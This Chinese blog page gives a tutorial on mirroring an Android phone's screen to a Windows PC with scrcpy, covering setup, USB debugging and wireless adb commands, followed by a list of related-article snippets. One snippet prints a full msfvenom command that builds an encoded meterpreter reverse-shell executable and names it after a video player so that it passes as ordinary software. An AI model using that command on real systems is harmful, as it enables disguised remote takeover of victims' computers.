基于Scrcpy的Android手机屏幕投影到电脑教程

news2024/12/30 3:49:15

基于Scrcpy的Android手机屏幕投影到电脑教程

文章目录

  • 基于Scrcpy的Android手机屏幕投影到电脑教程
    • 一,前言
    • 二,具体步骤
      • 1.软件下载
      • 2.环境配置
    • 三,基于Scrcpy的手机投屏教程
      • 1.基于Scrcpy的有线手机投屏
        • 2.无线投屏

一,前言

在执行某些项目的时候,有了获取手机屏幕画面的需求,遂整理了一下这方面的电脑教程。
在经过多次比较之后,选择了投屏效果比较好Scrcpy做为手机屏幕投屏的软件。

二,具体步骤

1.软件下载

scrcpy官网 Windows软件下载
在这里可能需要翻墙,没有梯子的伙伴可以从我的网盘中下载。
链接:https://pan.baidu.com/s/1tyWuEfzrCvWj9mqvvRknpw?pwd=6hjx
提取码:6hjx
软件解包后页面如下
在这里插入图片描述

2.环境配置

在搜索框输入环境,选择编辑系统环境变量
在这里插入图片描述
选择环境变量

在这里插入图片描述
选定Path 然后点击编辑
在这里插入图片描述
在这里插入图片描述

恭喜到这里你的环境就配置好了。

三,基于Scrcpy的手机投屏教程

1.基于Scrcpy的有线手机投屏

手机在设置里面找到【开发者选项】设置打开准许USB调试。由于等下还要演示无线投屏,所以也干脆准许无线调试。如果只需要有线投屏,那么只打开准许USB调试即可。
在这里插入图片描述
Win+R 打开运行 输入cmd 后Enter
在这里插入图片描述

adb devices
scrcpy

在这里插入图片描述
在这里插入图片描述
恭喜跟到这里你已经运行成功了。

2.无线投屏

Scrcpy 使用 adb 与 Android 设备通讯,而 adb 本身是支持无线连接的。因此除了 USB 数据线之外,我们也能无线使用。前提是需要保证手机和电脑处于同一局域网 (连接到相同的 WiFi 路由器),步骤如下:

  • 1)查询设备当前的 IP 地址 ;
  • 2)启用 adb 的 TCP/IP 连接,执行命令:adb tcpip 5555,其中 5555 为端口号;
  • 3)拔掉数据线;
  • 4)通过 WiFi 进行连接,执行命令:
    scrcpy --tcpip=192.168.1.108 -w -m 1024
  • 5)如果 WiFi 较慢,可以调整码率:
    scrcpy --tcpip=192.168.1.108 -w -b 3M -m 800
    意思是限制 3 Mbps,画面分辨率限制 800,数值可以随意调整;
  • 如需切换回 USB 模式,执行命令:adb usb

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/693200.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spring学习(一)(IoC和DI)

1.Spring是什么??? 天天都能听到Spring,Spring,Spring。这东西到底是什么东西,是一个框架。没错通常所说的 Spring 指的是 Spring Framework(Spring 框架),它是⼀个开源…

当RPA遇到ChatGPT, 有哪些好玩的玩法

实在RPA于2023年4月7日发布了 6.7.0 SP3,其中最引人注目的亮点是与ChatGPT的紧密集成 。这种集成为用户提供了全新的玩法和体验,使他们能够与智能模型进行即时对话和交互,从而提高工作效率和创造力。用户可以将ChatGPT作为虚拟助手&#xff0…

opencv C++ 识别照片中的人脸

//识别照片中的人脸 1 #include <opencv2/core/core.hpp> #include <opencv2/imgproc/imgproc.hpp> #include <opencv2/opencv.hpp> #include <vector>

机试复习*

通过一些例子重拾一些记不清了的c、c知识。 首先是位运算&#xff1a; 然后是一些其他语法、输入输出&#xff1a; //N诺一天重拾C语言 WebSite: https://noobdream.com//Major/majorinfo/1///目录://1&#xff1a;枚举类型switch语句//2&#xff1a;枚举类型//3&#xff1a;…

Unity的小工具

最近项目工期紧&#xff0c;所以更新少了&#xff0c;不过我遇到一些问题&#xff0c;当我的UI/序列帧过多的时候&#xff0c;我需要去选中UI转换成Sprite&#xff0c;而且用shift选中的时候&#xff0c;文件夹中上百个文件&#xff0c;中间混进一个其他格式的文件我还得一个一…

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…

AI创作与游戏开发(二)工具方法概述

大家好,Generative AI Model的出现,给游戏开发带来一些新的变革.比如像stable dissfusion可以快速的生成图像,设计人物的原型,背景设定.像DreamFusion和这个Magic3D这种模型,它可以通过文本快速的建模3D对象.还有像chatgpt这种可以编写故事啊可以做模拟人物对话.AItts可以进行语…

【面试题23】MyISAM和InnoDB的区别

文章目录 一、前言二、MyISAM和InnoDB的区别2.1 存储结构和存储方式2.2 索引数据结构2.3 主键索引和非主键索引2.4 索引上存放的数据 三、MyISAM和InnoDB如何进行选择3.1 电子商务网站&#xff1a;3.2 博客类网站3.3 数据仓库 总结 一、前言 本文已收录于PHP全栈系列专栏&#…

Springboot 整合Camunda7

文章目录 前言一、原项目引入camunda二、直接搭建新demo 前言 camunda7文档 与springboot版本兼容组合 一、原项目引入camunda 导入maven依赖 <dependency><groupId>org.camunda.bpm.springboot</groupId><artifactId>camunda-bpm-spring-boot-sta…

【全志v3s】LicheePi-zero BSP移植开发流程

文章目录 基于全志v3s的Lichee-zero BSP移植开发流程ubuntu 系统安装下载镜像换源备份源列表修改 sources.list 文件更改为清华镜像源更新并升级安装依赖库 安装交叉编译工具链安装编译器新建 tool 文件夹并进入下载交叉编译链创建文件夹并解压配置环境变量安装其他库验证是否安…

【C++】定制删除器和特殊类设计(饿汉和懒汉~)

文章目录 定制删除器一、设计一个只能在堆上(或栈上)创建的类二、单例模式 1.饿汉模式2.懒汉模式总结 定制删除器 我们在上一篇文章中讲到了智能指针&#xff0c;相信大家都会有一个问题&#xff0c;智能指针该如何辨别我们的资源是用new int开辟的还是new int[]开辟的呢&…

通用分页【上】

一、什么是通用分页&#xff1f; 通用分页是一种常用的分页方式&#xff0c;也被称为“前端分页”。它是指在获取数据的时候&#xff0c;将大量的数据分成若干页以便于用户查看和操作。通用分页通常是在前端完成的&#xff0c;也就是在用户界面上进行处理。通用分页的优点是可…

[Flask] 初识Flask

Flask是一个使用Python编写的轻量级Web应用框架 为了更好地管理Python应用&#xff0c;通常情况下都会在虚拟环境中安装Flask框架。在虚拟环境下&#xff0c;使用如下命令安装Flask pip install flask 我们可以直接使用pycharm工具创建虚拟环境&#xff0c;只需要在创建项目的…

chatGPT AI对话聊天绘画系统开发:打开人工智能AI社交聊天系统开发新时代

人工智能技术的快速发展和普及&#xff0c;催生了众多创新应用&#xff0c;其中&#xff0c;AI社交聊天系统成为当下市场的热门话题&#xff0c;本文将详细介绍开发属于自己的ChatGPT的过程&#xff0c;并探讨当下市场因Chat AI聊天系统所带来的影响性。 AI社交聊天系统的潜力与…

Springboot Mybatis 自定义顺序排序查询,指定某个字段

前言 与本文无关 "我进去了" ....... 正文 今天要讲些什么&#xff1f; 其实很简单&#xff0c;就是查询数据的时候&#xff0c;想根据自己指定的字段的自定义顺序&#xff0c;做排序查询数据。 本篇文章会讲到的几个点 &#xff1a; 1. 单纯sql 怎么实现 排序2. …

miniconda 安装 windows+linux

虽然常用anaconda&#xff0c;但是有时候只需要管理环境的时候&#xff0c;用miniconda更方便 如果想安装anaconda&#xff0c;可以参考这篇&#xff1a;anaconda安装 一、linux下 1.下载 链接&#xff1a;miniconda文档 cd /usr/localwget https://repo.anaconda.com/mini…

分布式处理框架 MapReduce

3.2.1 什么是MapReduce 源于Google的MapReduce论文(2004年12月)Hadoop的MapReduce是Google论文的开源实现MapReduce优点: 海量数据离线处理&易开发MapReduce缺点: 实时流式计算 3.2.2 MapReduce编程模型 MapReduce分而治之的思想 数钱实例&#xff1a;一堆钞票&#xff0…

Inno Setup 安装包制作软件

推荐一个开源的安装包制作软件&#xff1a;Inno Setup   Inno Setup是一个免费的安装制作软件&#xff0c;小巧、简便、精美是其最大特点&#xff0c;支持pascal脚本&#xff0c;能快速制作出标准Windows2000风格的安装界面&#xff0c;足以完成一般安装任务。 下载地址&…

进阶接口自动化测试——认证/代理/超时配置/错误异常(详细)

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 认证 1、基本认证…

【Android】Touch 事件分发逻辑梳理和避坑逻辑(上层设置了setOnTouchListener的事件监听但是没有起作用的原因)

背景 在项目中发现我明明在最上层的activity中的一个DrawerLayout对象设置了如下代码: /*** 超级白板的整体点击事件* 保证topBar在合适的时机出现*/binding.layoutMainDrawer.setOnTouchListener { _, event ->if (event.action MotionEvent.ACTION_DOWN) {val isVisib…